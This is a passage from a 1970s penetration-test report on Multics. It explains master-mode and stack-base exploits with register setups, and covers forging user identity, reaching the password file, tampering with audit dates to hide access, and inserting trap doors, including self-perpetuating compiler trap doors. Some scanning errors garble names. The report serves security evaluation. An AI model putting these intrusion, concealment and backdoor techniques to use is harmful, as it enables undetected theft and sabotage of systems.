It was postulated in the ESD/HCI vulnerability analysis that master mode procedures in the user ring represent a fundamental violation of the Multics security concept. Violating this concept moves the security controls from the basic hardware/software mechanism to the cleverness of the systems programmer who, being human, makes mistakes and commits omissions. The master mode procedures become classical "supervisor calls" with no rules for "sufficient" security checks. In fact, upon close examination of the signaller, this hypothesis was found to be true.

(15) This convention is enforced on the 6180. Privileged mode (the 6180 analogy to the 645 master mode) only has effect in ring 0. Outside ring 0, the hardware ignores the privileged mode bit.

(16) The signaller processed such faults as "zerodivide" and access violation which are signalled to the user. Page faults and segment faults which the user never sees are processed elsewhere in ring 0.
The master mode pseudo-operation code was designed only to protect master mode procedures from random calls within ring 0. It was not designed to withstand the attack of a malicious user, but only to operate in the relatively benign environment of ring 0.

The master mode program shown in Figure 6 assembles into the interpreted object code shown in Figure 7. The master mode procedure can only be entered at location zero. (17) By convention, the n entry points to the procedure are numbered from 0 to n-1. The number of the desired entry point must be in index register zero at the time of the call. The first two instructions in the master mode sequence check to ensure that index register zero is in bounds. If it is, the transfer on no carry (tncc) instruction indirects through the transfer vector to the proper entry. If index register zero is out of bounds, the processor registers are saved for debugging and control is transferred to "mxerror," a routine to crash the system because of an unrecoverable error.

This transfer to mxerror is the most obvious vulnerability. By moving the signaller into the user ring, the designers allowed a user to arbitrarily crash the system by transferring to signaller10 with a bad value in index register zero. This vulnerability is not too serious, since it does not compromise information and could be repaired by changing mxerror to handle the error, rather than crashing the system.

However, there is a much more subtle and dangerous vulnerability here. The trap12 instruction that is used to call mxerror believes that the lp register points to the linkage section of the signaller, which it should if the call were legitimate. However, a malicious user may set the lp register to point wherever he wishes, permitting him to transfer to an arbitrary location while the CPU is still in master mode. The key is the transfer in master mode, because this permits a transfer to an arbitrary location within another master mode procedure without access checking and without the restriction of entering at word zero. Thus, the penetrator need only find a convenient store instruction to be able to write into his own descriptor segment, for example. Figure 6 shows the use of a sta bp10 instruction to change the contents of an SDM illegally.

(17) This restriction is enforced by hardware described in Section 2.1.2.
name master_test
mastermode
entry a
entry b
   a: code
   ...
   b: code
   ...
end

Figure 6. Master Mode Source Code

cmpxu 2, du  "call in bounds?"
tnc     transfer_vector, 0  "Yes, go to entry"
stb     spl0  "Illegal call here"
sreg   spl10  "save registers"
eapap  arglist  "set up call"
stdc   spl24
   a: code
   ...
   b: code
   ...
transfer_vector:
   tra a
   tra b
   end

Figure 7. Master Mode Interpreted Object Code
**Figure 8. Store with Master Mode Transfer**

**Setup Conditions**

- $A_{\text{reg}}$ : = new SDW
- $\text{Index 0}$ : = -1
- $lp$ : = address (POINTER) - 12
- $\text{POINTER}$ : = address (sta instruction)
- $bp$ : = address (SDW)
There is one major difficulty in exploiting this vulnerability. The instruction to which control is transferred must be chosen with extreme care. The instructions immediately following the store must provide some orderly means of returning control to the malicious user without doing uncontrolled damage to the system. If a crucial database is garbled, the system will crash leaving a core dump which could incriminate the penetrator.

This vulnerability was identified by ESP/11C1 in June 1972. An attempt to use the vulnerability led to a system crash for the following reason: Due to an obsolete listing of the signaller, the transfer was made to an LDBR (Load Descriptor Base Register) instruction instead of the expected store instruction. The DRR was loaded with a garbled value, and the system promptly crashed. The system maintenance personnel, being unaware of the presence of an active penetration, attributed the crash to a disk read error.

The Master Mode Transfer vulnerability resulted from a violation of the fundamental rule that master mode code shall not be executed outside ring 0. The violation was not made maliciously by the system implementors. Rather it occurs because of the interaction of two seemingly independent events: the ability to transfer via the IP without the system being able to check the validity of the IP setting, and the ability for that transfer to be to master mode code. The separation of these events made the recognition of the problem unlikely during implementation.

3.3.3 Unlocked Stack Base

The 645 CPU has eight 18-bit registers that are used for inter-segment references. Control bits are associated with each register to allow it to be paired with another register as a word number-segment number pair. In addition, each register has a lock bit, settable only in master mode, which protects its contents from modification. By convention, the eight registers are named and paired as shown in Table 2.
<table>
<thead>
<tr>
<th>Number</th>
<th>Name</th>
<th>Use</th>
<th>Pairing</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ap</td>
<td>argument pointer</td>
<td>paired with ab</td>
</tr>
<tr>
<td>1</td>
<td>ab</td>
<td>argument base</td>
<td>unpaired</td>
</tr>
<tr>
<td>2</td>
<td>bp</td>
<td>unassigned</td>
<td>paired with bh</td>
</tr>
<tr>
<td>3</td>
<td>bb</td>
<td>unassigned</td>
<td>unpaired</td>
</tr>
<tr>
<td>4</td>
<td>lp</td>
<td>linkage pointer</td>
<td>paired with lh</td>
</tr>
<tr>
<td>5</td>
<td>lb</td>
<td>linkage base</td>
<td>unpaired</td>
</tr>
<tr>
<td>6</td>
<td>sp</td>
<td>stack pointer</td>
<td>paired with sh</td>
</tr>
<tr>
<td>7</td>
<td>sh</td>
<td>stack base</td>
<td>unpaired</td>
</tr>
</tbody>
</table>

During the early design of the Multics operating system, it was felt that the ring 0 code could be simplified if the stack base (sh) register were locked, that is, it could only be modified in master mode. The sh contained the segment number of the user stack which was guaranteed to be writeable. If the sh were locked, then the ring 0 fault and interrupt handlers could have convenient areas in which to store stack frames. After Multics had been released to users at MIT, it was realized that locking the stack base unnecessarily constrained language designers. Some languages would be extremely difficult to implement without the capability of quickly and easily switching between stack segments. Therefore, the system was modified to no longer lock the stack base.

When the stack base was unlocked, it was realized that there was code scattered throughout ring 0 which assumed that the sh always pointed to the stack. Therefore, ring 0 was "audited" for all code which depended on the locked stack base. However, the audit was never completed and the few dependencies identified were in general not repaired until much later.

As part of the vulnerability analysis, it was hypothesized that such an audit for unlocked stack base problems was presumably incomplete. The ring 0 code is so large that a subtle dependency on the sh register could

Reproduced from best available copy. 31
easily slip by an auditor's notice. This, in fact proved to be true as shown below:

Section 3.3.2 showed that the master mode pseudo-operation code believed the value in the ip register and transferred through it. Figure 7 shows that the master mode pseudo-operation code also depends on the sb pointing to a writeable stack segment. When an illegal master mode call is made, the registers are saved on the stack prior to calling "mxerror" to crash the system. This code was designed prior to the unlocking of the stack base and was not detected in the system audit. The malicious user need only set the sp-sb pair to point anywhere to perform an illegal store of the registers with master mode privileges.

The exploitation of the unlocked stack base vulnerability was a two step procedure. The master mode pseudo-operation code stored all the processor registers in an area over 20 words long. This area was far too large for use in a system penetration in which at most one or two words are modified to give the agent the privileges he requires. However, storing a large number of words could be very useful to install a "trap door" in the system -- that is a sequence of code which when properly invoked provides the penetrator with the needed tools to subvert the system. Such a "trap door" must be well hidden to avoid accidental discovery by the system maintenance personnel.

It was noted that the linkage segments of several of the ring 0 master mode procedures were preserved as separate segments rather than being combined in a single linkage segment. Further, these linkage segments were themselves master mode procedures. Thus, segments such as signaller, flm, and emergency_shutdown had corresponding master mode linkage segments signaller.link, flm.link, and emergency_shutdown.link. Linkage segments contain a great deal of information used only by the binder and therefore contain a great deal of extraneous information in ring 0. For this reason, a master mode linkage segment is an ideal place to conceal a "trap door." There is a master mode procedure called emergency_shutdown that is used to place the system in a consistent state in the event of a crash. Since emergency_shutdown is used only at the time of a system crash, its linkage segment, emergency_shutdown.link, was chosen to be used for the "trap door".
The first step of the exploitation of the unlocked stack base is shown in Figure 9. (18) The signaller is entered at location 0 with an invalid index register 0. The stack pointer is set to point to an area of extraneous storage in emergency_shutdown.link. The AO register contains a two instruction "trap door" which when executed in master mode can load or store any 36-bit word in the system. The index registers could be used to hold a longer "trap door"; however, in this case the xed hp10, tra bp12 sequence is sufficient. The base registers, index registers, and AO register are stored into emergency_shutdown.link, thus laying the "trap door". Finally a transfer is made indirect through lp|12 which has been pre-set as a return pointer. (19)

Step two of the exploitation of the unlocked stack base is shown in Figure 10. The calling program sets the bp register to point to the desired instruction pair and transfers to word zero of the signaller with an invalid value in index register 0. The signaller saves its registers on the user's stack frame since the sp has not been changed. It then transfers indirect through lp|12 which has been set to point to the "trap door" in emergency_shutdown.link. The first instruction of the "trap door" is an execute double (XED) which permits the user (penetration agent) to specify any two arbitrary instructions to be executed in master mode. In this example, the instruction pair loads the 0 register from a word in the stack frame (20) and then stores indirect through a pointer in the stack to an SP! in the descriptor segment. The second instruction in the "trap door" transfers back to the calling program, and the penetrator may go about his business.

(18) Listings of the code used to exploit this vulnerability are found in Appendix B.

(19) This transfer uses the Master Node Transfer vulnerability to return. This is done primarily for convenience. The fundamental vulnerability is the storing through the sp register. Without the Master Node Transfer, exploitation of the Unlocked Stack Base would have been more difficult, although far from impossible.

(20) It should be noted that only step one changed the value of the sp. In step two, it is very useful to leave the sp pointing to a valid stack frame.
Setup Conditions

AQ register := xed bp|0; tra bp|2
Index 0 := -1
sp := address (unused storage in emergency_shutdown. link)
lp|12 := address (return location)

Figure 9. Unlocked Stack Base (Step 1)
Figure 10. Unlocked Stack Base (Step 2)
The "trap door" inserted in emergency_shutdown.link remained in the system until the system was reinitialized. (21) At initialization time, a fresh copy of all ring zero segments is read in from the system tape erasing the "trap door". Since system initializations occur at least once per day, the penetrator must execute step one before each of his working sessions. Step two is then executed each time he wishes to access or modify some word in the system.

The unlocked stack base vulnerability was identified in June 1972 with the Master Mode Transfer Vulnerability. It was developed and used at the RAND site in September 1972 without a single system crash. In October 1972, the code was transferred to the MIT site. Due to lack of good telecommunications between the two sites, the code was manually retyped into the MIT system. A typing mistake was made that caused the word to be stored into the SDI: to always be zero (See Figure 10). When an attempt was made to set slave access-data in the SDW of the descriptor segment itself, (22) the SDI of the descriptor segment was set to zero causing the system to crash at the next LDBR instruction or segment initiation. The bug was recognized and corrected immediately, but later in the day, a second crash occurred when the SDW for the ring zero segment fim (the fault intercept module) was patched to slave access-write permit-data rather than slave access-write permit-slave procedure. In more straightforward terms, the SDI was set to read-write rather than read-write-execute. Therefore, when the system next attempted to execute the fim it took a no-execute permission fault and tried to execute the fim, thus entering an infinite loop crashing the system.

3.3.4 Preview of 6180 Software Vulnerabilities

The 6180 hardware implementation of rings renders invalid the attacks described here on the 645. This is not to say, however, that the 6130 multics is free of vulnerabilities. A cursory examination of the 6180 software has revealed the existence of several software vulnerabilities, any one of which can be used to access

(21) See Section 3.4.5 for more lasting "trap doors".

(22) The attempt here was to dump the contents of the descriptor segment on the terminal. The user does not normally have read permission to his own descriptor segment.
any information in the system. These vulnerabilities were identified with comparable levels of effort to those shown in Section 3.5.

3.3.4.1 No Call Limiter Vulnerability

The first vulnerability is the No Call Limiter vulnerability. This vulnerability was caused by the call limiter not being set on gate segments, allowing the user to transfer to any instruction within the gate rather than to just an entry transfer vector. This vulnerability gives the penetrator the same capabilities as the Master Mode Transfer vulnerability.

3.3.4.2 SLT-KST Dual SDW Vulnerability

The second vulnerability is the SLT-KST Dual SDW vulnerability. When a user process was created on the 645, separate descriptor segments were created for each ring, with the ring 0 SDW's being copied from the segment loading table (SLT). The ring 0 descriptor segment was essentially a copy of the SLT for ring 0 segments. The ring 4 descriptor segment zeroed out most SDW's for ring 0 segments. Non-ring 0 SDW's were added to both the ring 0 and ring 4 descriptor segments from the Known Segment Table (KST) during segment initiation. Upon conversion to the 6180, the separate descriptor segments for each ring were merged into one descriptor segment containing ring brackets in each SDW (IPC73). The ring 0 SDW's were still taken from the SLT and the non-ring 0 SDW's from the KST as on the 645.

The system contains several gates from ring 4 into ring 0 of varying levels of privilege. The least privileged gate is called hcs_ and may be used by all users in ring 4. The most privileged gate is called hphcs_ and may only be called by system administration personnel. The gate hphcs_ contains routines to shut the system down, access any segment in the system, and patch ring 0 data bases. If a user attempts to call hphcs_ in the normal fashion, hphcs_is entered into the KST, an SDW is assigned, and access rights are determined from the access control list stored in hphcs_'s parent directory. Since most users would not be on the access control list of hphcs_, access would be denied. Ring 0 gates, however, also have a second segment number assigned from the segment loading table (SLT). This duplication posed no problem on the 645, since SLT SDW's were valid only in the ring 0 descriptor segment. However on the 6180, the KST SDW for hphcs_ would be null access ring brackets 0,0,5,
but the SLT SDW would read-execute (re) access, ring brackets 0,0,5. Therefore, the penetrator need only transfer to the appropriate absolute segment number rather than using dynamic linking to gain access to any KHPCE capability. This vulnerability was considerably easier to use than any of the others and was carried through identification, confirmation, and exploitation in less than 5 man-hours total (See Section 3.5).

3.3.4.3 Additional Vulnerabilities

The above mentioned 6180 vulnerabilities have been identified and repaired by Honeywell. The capabilities of the SLT-KST Dual SDW vulnerability were demonstrated to Honeywell on 14 September 1973 in the form of an illegal message to the operator's console at the 6180 site in the Honeywell plant in Phoenix, Arizona. Honeywell did not identify the cause of the vulnerability until March 1974 and installed a fix in Multics System 23.6. As of the time of this publication, additional vulnerabilities have been identified but at this time have not been developed into a demonstration.

3.4 Procedural Vulnerabilities

This section describes the exploitation by a remote user of several classes of procedural vulnerabilities. No attempt was made to penetrate physical security, as there were many admitted vulnerabilities in this area. In particular, the machine room was not secure and communications lines were not encrypted. Rather, this section looks at the areas of auditing, system configuration control, (23) passwords, and "privileged" users.

3.4.1 Dump and Patch Utilities

To provide support to the system maintenance personnel, the Multics system includes commands to dump or patch any word in the entire virtual memory. These

(23) System configuration control is a term derived from Air Force procurement procedures and refers to the control and management of the hardware and software being used in a system with particular attention to the software update tasks. It is not to be confused with the Multics dynamic reconfiguration capability which permits the system to add and delete processors and memories while the system is running.

38
utilities are used to make online repairs while the system continues to run. Clearly these commands are very dangerous, since they can bypass all security controls to access otherwise protected information, and if misused, can cause the system to crash by garbling critical data bases. To protect the system, these commands are implemented by special privileged gates into ring zero. The access control lists on these gates restrict their use to system maintenance personnel by name as authenticated by the login procedure. Thus an ordinary user nominally cannot access these utilities. To further protect the system, the patch utility records on the system operator's console every patch that is made. Thus, if an unexpected or unauthorized patch is made, the system operator can take immediate action by shutting the system down if necessary.

Clearly, dump and patch utilities would be of great use to a system penetrator, since they can be used to facilitate his job. Procedural controls on the system dump and patch routines prevent the penetrator from using them by the ACL restrictions and the audit trail. However by using the software vulnerabilities described in section 3.3, these procedural controls may be bypassed and the penetration agent can implement his own dump and patch utilities as described below.

Dump and patch utilities were implemented on Multics using the Unlocked Stack Base and Insufficient Argument Validation vulnerabilities. These two vulnerabilities demonstrated two basically different strategies for accessing protected segments. These two strategies developed from the fact that the Unlocked Stack Base vulnerability operates in ring 4 master mode, while the Insufficient Argument Validation vulnerability operates in ring 0 slave mode. In addition, there was a requirement that a minimal amount of time be spent with the processor in an anomalous state - ring 4 master mode or ring 0 illegal code. When the processor is in an anomalous state, unexpected interrupts or events could cause the penetrator to be exposed in a system crash.

3.4.1.1 Use of Insufficient Argument Validation

As was mentioned above, the UNIX 645 implementation of Multics simulates protection rings by providing one descriptor segment for each ring. Patch and dump utilities can be implemented using the Insufficient Argument Validation vulnerability by realizing that the ring zero descriptor segment will have entries for
segments which are not accessible from ring 4. Conceptually, one could copy an SDW for some segment from the ring 0 descriptor segment to the ring 4 descriptor segment and be guaranteed at least as much access as available in ring 0. Since the segment number of a segment is the same in all rings, this approach is very easy to implement.

The exact algorithm is shown in flow chart form in Figure 11. In block 2 of the flow chart, the ring 4 SDW is read from the ring 4 descriptor segment (wdseg) using the Insufficient Argument Validation vulnerability. Next the ring 0 SDW is read from the ring 0 descriptor segment (dseg). The ring 0 SDW must now be checked for validity, since the segment may not be accessible even in ring 0. (24) An invalid SDW is represented by all 36 bits being zero. One danger present here is that if the segment in question is deactivated, (25) the SDW being checked may be invalidated while it is being manipulated. This event could conceivably have disastrous results, but as we shall see in Section 3.4.2, the patch routine need only be used on segments which are never deactivated. The dump routine can do no harm if it accidentally uses an invalid SDW, as it always only reads using the SDW, conceivably reading garbage but nothing else. Further, deactivation of the segment is highly unlikely since the segment is in "use" by the dump/patch routine.

If the ring 0 SDW is invalid, an error code is returned in block 5 of the flow chart and the routine terminates. Otherwise, the ring 0 SDW is stored into the ring 4 descriptor segment (wdseg) with read-execute-write access by turning on the SDW bits for slave access, write permission, slave procedure. (See Figure 2). Now the dump or patch can be performed without using the vulnerability to load or store each 36 bit word

(24) As an additional precaution, ring 0 slave mode programs run under the same access rules as all other programs. A valid SDW entry is made for a segment in any ring only if the user is on the ACL for the segment. We shall see in Section 3.4.2 how to get around this "security feature".

(25) A segment is deactivated when its page table is removed from core. Segment deactivation is performed on a least recently used basis, since not all page tables may be kept in core at one time.
Figure 11. DUMP/PATCH UTILITY USING INSUFFICIENT ARGUMENT VALIDATION
being moved. Finally in block 8, the ring 4 SDW is restored to its original value, so that a later unrelated system crash could not reveal the modified SDW in a dump. It should be noted that while blocks 2, 3, 6, and 8 all use the vulnerability, the bulk of the time is spent in block 7 actually performing the dump or patch in perfectly normal ring 4 slave mode code.

3.4.1.2 Use of Unlocked Stack Base

The Unlocked Stack Base vulnerability operates in a very different environment from the Insufficient Argument Validation vulnerability. Rather than running in ring 0, the Unlocked Stack Base vulnerability runs in ring 4 in master mode. In the ring 0 descriptor segment, the segment dser is the ring 0 descriptor segment and wdser is the ring 4 descriptor segment. However, in the ring 4 descriptor segment, the segment dser is the ring 4 descriptor segment and wdser has a zeroed SDW. Therefore, a slightly different strategy must be used to implement dump and patch utilities as shown in the flow chart in Figure 12.

The primary difference here is in blocks 3 and 5 of Figure 12 in which the ring 4 SDW for the segment is used rather than the ring 0 SDW. Thus the number of segments which can be dumped or patched is reduced from those accessible in ring 0 to those accessible in ring 4 master mode. We shall see in Section 3.4.2 that this reduction is not crucial, since ring 4 master mode has sufficient access to provide "interesting" segments to dump or patch.

3.4.1.3 Generation of New SDW's

Two strategies for implementation of dump and patch utilities were shown above. In addition, a third strategy exists which was rejected due to its inherent dangers. In this third strategy, the penetrator selects an unused segment number and constructs an SDW occupying that segment number in the ring 4 descriptor

(26) Actually wdser is the descriptor segment for whichever ring (1-7) was active at the time of the entry to ring 0. No conflict occurs since wdser is always the descriptor segment for the ring on behalf of which ring 0 is operating.

(27) This strategy is also used with the Execute Instruction Access Check Bypass vulnerability which runs in ring 4.
Figure 12. DUMP/PATCH UTILITY USING UNLOCKED STACK BASE
segment using any of the vulnerabilities. This totally new SDW could then be used to access some part of the Multics hierarchy. However, two major problems are associated with this strategy which caused its rejection. First the absolute core address of the page table of the segment must be stored in the SDW address field. There is no easy way for a penetrator to obtain the absolute address of the page table for a segment not already in his descriptor segment short of duplicating the entire segment fault mechanism which runs to many hundreds or thousands of lines of code. Second, if the processor took a segment or page fault on this new SDW, the ring 0 software would malfunction, because the segment would not be recorded in the Known Segment Table (KST). This malfunction could easily lead to a system crash and the disclosure of the penetrator’s activities. Therefore, the strategy of generating new SDW’s was rejected.

5.4.2 Forging the Non-Forgeable User Identification

In Section 2.2.3 the need for a protected, non-forgeable identification of every user was identified. This non-forgeable ID must be compared with access control list entries to determine whether a user may access some segment. This identification is established when the user logs into Multics and is authenticated by the user password. (28) If this user identification can be forged in any way, then the entire login audit mechanism can be rendered worthless.

The user identification in Multics is stored in a per-process segment called the process data segment (PDS). The PDS resides in ring 0 and contains many constants used in ring 0 and the ring 0 procedure stack. The user identification is stored in the PDS as a character string representing the user’s name and a character string representing the user’s project. The PDS must be accessible to any ring 0 procedure within a user’s process and must be accessible to ring 4 master mode procedures (such as the signaller). Therefore, as shown in Sections 3.4.1.1 and 3.4.1.2, the dump and patch utilities can dump and patch portions of the PDS, thus forging the non-forgeable user identification. Appendix C shows the actual user commands needed to forge the user.

(28) Clearly more sophisticated authentication schemes than a single user chosen password could be used on Multics (see Richardson <KIC73>). However, such schemes are outside the scope of this paper.
Identification.

This capability provides the penetrator with an "ultimate weapon". The agent can now undetectably masquerade as any user of the system including the system administrator or security officer, immediately assuming that user's access privileges. The agent has bypassed and rendered ineffective the entire login authentication mechanism with all its attendant auditing machinery. The user whom the agent is impersonating can login and operate without interference. Even the "who table" that lists all users currently logged into the system records the agent with his correct identification rather than the forgery. Thus to access any segment in the system, the agent need only determine who has access and change his user identification as easily as a legitimate user can change his working directory.

It was not obvious at the time of the analysis that changing the user identification would work. Several potential problems were foreseen that could lead to system crashes or could reveal the penetrator's presence. However, none of these proved to be a serious barrier to masquerading.

First, a user process occasionally sends a message to the operator's console from ring 0 to report some type of unusual fault such as a disk parity error. These messages are prefaced by the user's name and project taken from the PDS. It was feared that a random parity error could "blow the cover" of the penetrator by printing his modified identification on the operator's console. However, the PDS in fact contains two copies of the user identification - one formatted for printing and one formatted for comparison with access control list entries. Ring 0 software keeps these strictly separated, so the penetrator need only change the access control identification.

Second, when the penetrator changes his user identification, he may lose access to his own programs, data and directories. The solution here is to assure that the access control lists of the needed segments and directories grant appropriate access to the user as whom the penetrator is masquerading.

(29) This danger exists only if the operator or system security officer is carefully correlating parity error messages with the names of currently logged in users.
Finally, one finds that although the penetrator can set the access control lists of his ring 4 segments appropriately, he cannot in any easy way modify the access control lists of certain per process supervisor segments including the process data segment (PDS), the process initialization table (PIT), the known segment table (KST), and the stack and combined linkage segments for ring 1, 2, and 3. The stack and combined linkage segments for ring 1, 2, and 3 can be avoided by not calling any ring 1, 2, or 3 programs while masquerading. However, the PDS, PIT, and KST are all ring 0 data bases that must be accessible at all times with read and write permission. This requirement could pose the penetrator a very serious problem; but, because of the very fact that these segments must always be accessible in ring 0, the system has already solved this problem. While the PIT, PDS, and KST are paged segments, (30) they are all used during segment fault handling. In order to avoid recursive segment faults, the PIT, PDS, and KST are never deactivated. (31) Deactivation, as mentioned above, is the process by which a segment’s page table is removed from core and a segment fault is placed in its SDW. The access control hits are set in an SDW only at segment fault time. (32) Since the system never deactivates the PIT, PDS, and KST, under normal conditions, the SDW’s are not modified for the life of the process. Since the process of changing user identification does not change the ring 0 SDW’s of the PIT, PDS, and KST either, the penetrator retains access to these critical segments without any special action whatsoever.

(30) In fact the first page of the PDS is wired down so that it may be used by page control. The rest of the PDS, however, is not wired.

(31) In Multics jargon, their "entry hold switches" are set.

(32) In fact, a segment fault is also set in an SDW when the access control list of the corresponding segment is changed. This is done to ensure that access changes are reflected immediately, and is effected by setting faults in all descriptor segments that have active SDW’s for the segment. This additional case is not a problem, because the access control lists of the PIT, PDS, and KST are never changed.
3.4.3 Accessing the Password File

One of the classic penetrations of an operating system has been unauthorized access to the password file. This type of attack on a system has become so embedded in the folklore of computer security that it even appears in the definition of a security "breach" in DOD 5200.28-M (DOD73). In fact, however, accessing the password file internal to the system proves to be of minimal value to a penetrator as shown below. For completeness, the Multics password file was accessed as part of this analysis.

3.4.3.1 Minimal Value of the Password File

It is asserted that accessing the system password file is of minimal value to a penetrator for several reasons. First, the password file is generally the most highly protected file in a computer system. If the penetrator has succeeded in breaking down the internal controls to access the password file, he can almost undoubtedly access every other file in the system. Why bother with the password file?

Second, the password file is often kept enciphered. A great deal of effort may be required to invert such a cipher, if indeed the cipher is invertible at all.

Finally, the login path to a system is generally the most carefully audited to attempt to catch unauthorized password use. The penetrator greatly risks detection if he uses an unauthorized password. It should be noted that an unauthorized password obtained outside the system may be very useful to a penetrator, if he does not already have access to the system. However, that is an issue of physical security which is outside the scope of this paper.

3.4.3.2 The Multics Password File

The Multics password file is stored in a segment called the person name table (PNT). The PNT contains an entry for each user on the system including that user's password and various pieces of auditing information. Passwords are chosen by the user and may be changed at any time. (33) Passwords are scrambled by an

(33) There is a major problem that user chosen passwords
allegedly non-invertible enciphering routine for protection in case the PHT appears in a system dump. Only encrypted passwords are stored in the system. The password check at login time is accomplished by the equivalent of the following PL/I code:

```pli
if scramble_(typed_password) = pnt.user.password
   then call ok_to_login;
else call reject_login;
```

For the rest of this section, it will be assumed that the enciphering routine is non-invertible. In a separate volume (DOW74), Downey demonstrates the invertibility of the Multics password scrambler used at the time of the vulnerability analysis. (34)

The PHT is a ring 4 segment with the following access control list:

```plaintext
rw *.*.SysAdmin.*  
null *.*.*
```

Thus by modifying one's user identification to the SysAdmin project as in Section 3.4.2, one can immediately gain unrestricted access to the PHT. Since the passwords are enciphered, they cannot be read out of the PHT directly. However, the penetrator can extract a copy of the PHT for cryptanalysis. The penetrator can also change a user's password to the enciphered version of a known password. Of course, this action would lead to almost immediate discovery, since the user would no longer be able to login.

3.4.4 Modifying Audit Trails

Audit trails are frequently put into computer systems for the purpose of detecting breaches of security. For example, a record of last login time printed when a user logged in could detect the unauthorized use of a user's password and identification. However, we have seen that a penetrator using vulnerabilities in the operating system are often easy to guess. That problem, however, will not be addressed here. Multics provides a random password generator, but its use is not mandatory.

(34) FSD/MCI has provided a "better" password scrambler that is now used in Multics, since enciphering the password file is useful in case it should appear in a system dump.

Reproduced from best available copy.
system code can access information and bypass many such audits. Sometimes it is not convenient for the penetrator to bypass an audit. If the audit trail is kept online, it may be much easier to allow the audit to take place and then go back and modify the audit trail to remove or modify the evidence of wrong doing. One simple example of modification of audit trails was selected for this vulnerability demonstration.

Every segment in Multics carries with it audit information on the date time last used (DTU) and date time last modified (DTM). These dates are maintained by an audit mechanism at a very low level in the system, and it is almost impossible for a penetrator to bypass this mechanism. (35) An obvious approach would be to attempt to patch the DTU and DTM that are stored in the parent directory of the segment in question. However, directories are implemented as rather complex hash tables and are therefore very difficult to patch.

Once again, however, a solution exists within the system. A routine called set_dates is provided among the various subroutine calls into ring 0 which is used when a segment is retrieved from a backup tape to set the segment's DTU and DTM to the values at the time the segment was backed up. The routine is supposed to be callable only from a highly privileged gate into ring 0 that is restricted to system maintenance personnel. However, since a penetrator can change his user identification, this restriction proves to be no barrier. To access a segment without updating DTU or DTM:

1. Change user ID to access segment.
2. Remember old DTU and DTM.
3. Use or modify the segment.
4. Change user ID to system maintenance.
5. Reset DTU and DTM to old values.
6. Change user ID back to original.

In fact due to yet another system bug, the procedure is even easier. The module set_dates is callable, not only from the highly privileged gate into ring 0, but also from the normal user gate into ring 0. (36) Therefore, step 4

(35) Section 3.4.5 shows a motivation to bypass DTU and DTM.

(36) The user gate into ring 0 contains set_dates, so that users may perform reloads from private backup tapes.
In the above algorithm can be omitted if desired. A listing of the utility that changes DTU and DTM may be found in Appendix F.

It should be noted that one complication exists in step 5 - resetting DTU and DTM. The system does not update the dates in the directory entry immediately, but primarily at segment deactivation time. (37) Therefore, step 5 must be delayed until the segment has been deactivated - a delay of up to several minutes. Otherwise the penetrator could reset the dates, only to have them updated again a moment later.

3.4.5 Trap Door Insertion

Up to this point, we have seen how a penetrator can exploit existing weaknesses in the security controls of an operating system to gain unauthorized access to protected information. However, when the penetrator exploits existing weaknesses, he runs the constant risk that the system maintenance personnel will find and correct the weakness he happens to be using. The penetrator would then have to begin again looking for weaknesses. To avoid such a problem and to perpetuate access into the system, the penetrator can install "trap doors" in the system which permit him access, but are virtually undetectable.

3.4.5.1 Classes of Trap Doors

Trap doors come in many forms and can be inserted in many places throughout the operational life of a system from the time of design up to the time the system is replaced. Trap doors may be inserted at the facility at which the system is produced. Clearly if one of the system programmers is an agent, he can insert a trap door in the code he writes. However, if the production site is a (perhaps on-line) facility to which the penetrator can gain access, the penetrator can exploit existing vulnerabilities to insert trap doors into system software while the programmer is still working on it or while it is in quality assurance.

As a practical example, it should be noted that the software for WUMCCS is currently developed using uncleared personnel on a relatively open time sharing system at Honeywell's plant in Phoenix, Arizona.

(37) Dates may be updated at other times as well.
The software is monitored and distributed from an open time sharing system at the Joint Technical Support Agency (JTSA) at Reston, Virginia. Both of these sites are potentially vulnerable to penetration and trap door insertion.

Trap doors can be inserted during the distribution phase. If updates are sent via insecure communications - either US Mail or insecure telecommunications, the penetrator can intercept the update and subtly modify it. The penetrator could also generate his own updates and distribute them using forged stationery.

Finally, trap doors can be inserted during the installation and operation of the system at the user's site. Here again, the penetrator uses existing vulnerabilities to gain access to stored copies of the system and make subtle modifications.

Clearly when a trap door is inserted, it must be well hidden to avoid detection by system maintenance personnel. Trap doors can best be hidden in changes to the binary code of a compiled routine. Such a change is completely invisible on system listings and can be detected only by comparing bit by bit the object code and the compiler listing. However, object code trap doors are vulnerable to recompilations of the module in question.

Therefore the system maintenance personnel could regularly recompile all modules of the system to eliminate object code trap doors. However, this precaution could play directly into the hands of the penetrator who has also made changes in the source code of the system. Source code changes are more visible than object code changes, since they appear in system listings. However, subtle changes can be made in relatively complex algorithms that will escape all but the closest scrutiny. Of course, the penetrator must be sure to change all extant copies of a module to avoid discovery by a simple comparison program.

Two classes of trap doors which are themselves source or object trap doors are particularly insidious and merit discussion here. These are the teletype key string trigger trap door and the compiler trap door.
It has often been hypothesized that a carefully written closed subsystem such as a query system or limited data management system without programming capabilities may be made invulnerable to security penetration. The teletype key string trigger is just one example of a trap door that provides the penetrator with vulnerability in even the most limited subsystem. To create such a trap door, the agent modifies the supervisor teletype modules at the development site such that if the user types normally, no anomaly occurs, but if the user types a special key string, a dump/patch utility is triggered into operation to allow the penetrator unlimited access. The key string would of course have to be some very unlikely combination to avoid accidental discovery. The teletype key string trap door is somewhat more complex than the trap door described below in Section 3.4.5.2. However, it is quite straightforward to develop and insert with relatively nominal effort.

It was noted above that while object code trap doors are invisible, they are vulnerable to recompilations. The compiler (or assembler) trap door is inserted to permit object code trap doors to survive even a complete recompilation of the entire system. In MULTICS, most of the ring 0 supervisor is written in PL/I. A penetrator could insert a trap door in the PL/I compiler to note when it is compiling a ring 0 module. Then the compiler would insert an object code trap door in the ring 0 module without listing the code in the listing. Since the PL/I compiler is itself written in PL/I, the trap door can maintain itself, even when the compiler is recompiled. (38) Compiler trap doors are significantly more complex than the other trap doors described here, because they require a detailed knowledge of the compiler design. However, they are quite practical to implement at a cost of perhaps five times the level shown in Section 3.5. It should be noted that even costs several hundred times larger than those shown here would be considered nominal to a foreign agent.

There is also a variant on the compiler trap door called the initialization trap door. Here, the system initialization code is modified by the penetrator to insert other trap doors as the system is brought up. Such trap doors can be relatively invulnerable to

(38) This type of trap door does not require a higher level language. Entirely analogous trap doors could be placed in an assembler.
defection and recompilation, because system initialization is usually a very complex and poorly understood procedure.

3.4.5.2 Example of a Trap Door in Multics

